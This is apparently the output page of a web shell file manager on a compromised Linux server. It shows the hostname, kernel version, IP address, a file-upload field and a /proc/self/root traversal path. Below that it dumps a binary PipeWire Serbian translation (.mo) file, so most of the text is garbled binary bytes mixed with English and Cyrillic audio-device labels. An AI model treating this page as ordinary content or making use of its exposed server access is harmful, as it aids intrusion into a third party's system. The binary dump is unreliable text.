PK qhYJFF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /proc/thread-self/root/proc/self/root/usr/share/locale/sr/LC_MESSAGES/
Server: Linux popus.webrserver.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
IP: 172.245.40.66
Choose File :

Url:
Dir : //proc/thread-self/root/proc/self/root/usr/share/locale/sr/LC_MESSAGES/pipewire.mo

��.�=��	�	�1
D
R`u������)=Qhn}��!�!�4
HSYm
u���������������,	$<	a	}	0�	)�	)�	) 
)J
)t
)�
)�
)�
))F)p6���&�(%;N8�8�2�*/
Z
#x
�
#�
�
�

�
�
�
=Tl
�
�!$

.,&+*"-#(%) '	(invalid)AmplifierAnalog InputAnalog MonoAnalog Mono DuplexAnalog Mono OutputAnalog OutputAnalog StereoAnalog Stereo DuplexAnalog Surround 2.1Analog Surround 3.0Analog Surround 3.1Analog Surround 4.0Analog Surround 4.1Analog Surround 5.0Analog Surround 5.1Analog Surround 6.0Analog Surround 6.1Analog Surround 7.0Analog Surround 7.1Automatic Gain ControlBoostBuilt-in AudioDigital Stereo (HDMI)Digital Stereo (IEC958)Digital Stereo Duplex (IEC958)Digital Surround 4.0 (IEC958/AC3)Digital Surround 5.1 (IEC958/AC3)Dock MicrophoneDocking Station InputExternal MicrophoneHeadphonesInputInternal MicrophoneLine InMicrophoneModemMonoNo AmplifierNo Automatic Gain ControlNo BoostOffRadioStereoVideoProject-Id-Version: pipewire
Report-Msgid-Bugs-To: https://gitlab.freedesktop.org/pipewire/pipewire/issues/new
PO-Revision-Date: 2012-01-30 09:55+0000
Last-Translator: Miloš Komarčević <kmilos@gmail.com>
Language-Team: Serbian (sr) <fedora-trans-sr@redhat.com>
Language: 
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;
(неисправно)ПојачалоАналогни улазАналогни моноДвосмерни аналогни моноАналогни моно излазАналогни излазАналогни стереоДвосмерни аналогни стереоАналогни окружујући 2.1Аналогни окружујући 3.0Аналогни окружујући 3.1Аналогни окружујући 4.0Аналогни окружујући 4.1Аналогни окружујући 5.0Аналогни окружујући 5.1Аналогни окружујући 6.0Аналогни окружујући 6.1Аналогни окружујући 7.0Аналогни окружујући 7.1Самостална контрола појачањаПодизањеУнутрашњи звукДигитални стерео (HDMI)Дигитални стерео (IEC958)Двосмерни дигитални стерео (IEC958)Дигитални окружујући 4.0 (IEC958/AC3)Дигитални окружујући 5.1 (IEC958/AC3)Микрофон прикључне станицеУлаз прикључне станицеСпољни микрофонАналогне слушалицеУлазУнутрашњи микрофонЛинија уМикрофонМодемМоноБез појачалаБез самосталне контроле појачањаБез подизањаИскљученоРадиоСтереоВидео